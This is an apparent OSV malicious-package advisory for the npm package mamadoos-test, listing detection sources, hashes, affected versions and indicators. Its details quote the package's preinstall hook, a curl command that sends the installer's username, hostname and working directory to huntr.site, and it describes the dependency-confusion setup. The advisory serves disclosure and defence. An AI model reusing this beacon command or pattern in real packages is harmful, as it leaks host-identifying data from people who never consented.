MAL-2026-4605

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/mamadoos-test/MAL-2026-4605.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4605
Aliases
  • GHSA-qwhw-2wfv-rv3r
Published
2026-05-20T14:02:39Z
Modified
2026-09-01T11:31:37Z
Summary
Malicious code in mamadoos-test (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (21b5454856fbb360a162083d9d582eba3839b7105ce6e36490e188b3729388d4)

package.json declares a preinstall lifecycle hook that runs curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pwd), embedding the installer's OS username, hostname, and current working directory into the URL path/query. This fires unconditionally on npm install with no opt-in, leaking host-identifying information to a third-party endpoint. The package additionally declares itself as a dependency (mamadoos-test: ^10.0.0), a shape consistent with a dependency-confusion probe — installs of a colliding internal name resolve to this public package and beacon back. Regardless of whether the intent is research or active targeting, the installer-side effect is unconsented exfiltration of identifiers useful for follow-on attacks (locating internal hosts, mapping CI environments, fingerprinting build paths).

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-003565",
            "import_time":  "2026-05-26T05:50:52.252692546Z",
            "modified_time":  "2026-05-20T14:13:53Z",
            "sha256":  "2157659011628b870955375b0817f0efe48e349e33d56ce6df600fc2dd49b5b4",
            "source":  "amazon-inspector",
            "versions":  [
                "10.1.0"
            ]
        },
        {
            "id":  "IN-MAL-2026-003566",
            "import_time":  "2026-05-26T05:50:52.343617136Z",
            "modified_time":  "2026-05-20T14:23:32Z",
            "sha256":  "e902eada172d070291ec61612790e0c092d05c3b15e628f8f882c511421624bc",
            "source":  "amazon-inspector",
            "versions":  [
                "11.0.0"
            ]
        },
        {
            "id":  "IN-MAL-2026-003564",
            "import_time":  "2026-05-26T05:50:52.095803077Z",
            "modified_time":  "2026-05-20T14:13:53Z",
            "sha256":  "21b5454856fbb360a162083d9d582eba3839b7105ce6e36490e188b3729388d4",
            "source":  "amazon-inspector",
            "versions":  [
                "10.1.0"
            ]
        },
        {
            "id":  "IN-MAL-2026-003560",
            "import_time":  "2026-05-26T05:50:51.650607747Z",
            "modified_time":  "2026-05-20T14:02:39Z",
            "sha256":  "277d047f21aee2aec8b9d3cf07e8896540cb52a5422b8c8d23eebed8e53f2f75",
            "source":  "amazon-inspector",
            "versions":  [
                "10.0.0"
            ]
        },
        {
            "id":  "IN-MAL-2026-003567",
            "import_time":  "2026-05-26T05:50:52.442455676Z",
            "modified_time":  "2026-05-20T14:24:04Z",
            "sha256":  "6cc33157a1957f8c02515b475a6cf70c8340a8bd8c98dd8a748b8d9cb57bf595",
            "source":  "amazon-inspector",
            "versions":  [
                "11.0.0"
            ]
        },
        {
            "id":  "IN-MAL-2026-003559",
            "import_time":  "2026-05-26T05:50:51.551698461Z",
            "modified_time":  "2026-05-20T14:02:39Z",
            "sha256":  "b1f5386ccd6225cc257c44ad170e11b7ce8b580ba1d62877b71dbfdc41e0df49",
            "source":  "amazon-inspector",
            "versions":  [
                "10.0.0"
            ]
        },
        {
            "id":  "RLMA-2026-05150",
            "import_time":  "2026-07-09T09:16:37.871991575Z",
            "modified_time":  "2026-07-07T12:58:24Z",
            "sha256":  "94c3529821c9c2a8278135ac0f8ebbeada14995d921b663a9a53226495c7cc64",
            "source":  "reversing-labs",
            "versions":  [
                "10.0.0",
                "10.1.0",
                "11.0.0"
            ]
        },
        {
            "id":  "RLUA-2026-06319",
            "import_time":  "2026-09-01T11:18:11.933105283Z",
            "modified_time":  "2026-08-24T16:58:43Z",
            "sha256":  "a8115386fc88d1adccd5e8659ec0df1619cff8d006f1fbd2cd971849061dfe9e",
            "source":  "reversing-labs"
        }
    ]
}
References
Credits

Affected packages

npm / mamadoos-test

Package

Name
mamadoos-test
View open source insights on deps.dev
Purl
pkg:npm/mamadoos-test

Affected ranges

Affected versions

10.*
10.0.0
10.1.0
11.*
11.0.0

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "domains":  [
        "huntr.site"
    ],
    "evidence_files":  [
        {
            "path":  "package.json",
            "sha256":  "df62a8a3ba04f6eefd777b9053d6cce224e45d674f7724ddd94d9dcfdc53c198",
            "tlsh":  "0dd022320c20d1f3bdca06a20825d00fba938e0b33882909eacb1404b0082b3d5a120f"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "mamadoos-test-11.0.0.tgz",
            "hashes":  {
                "sha1":  "7d5da3b38ce39f5549a8613c2a4981db095c9e4d",
                "sha512_sri":  "sha512-uVdyeFLh9zElcmZbtwhTJ+CwQWeDsquCt8wPS+nqiZqc3mjEvlAIqVvic5FcLxYD7wVfSRjgnsqRoKVJN68FCQ=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/mamadoos-test/MAL-2026-4605.json"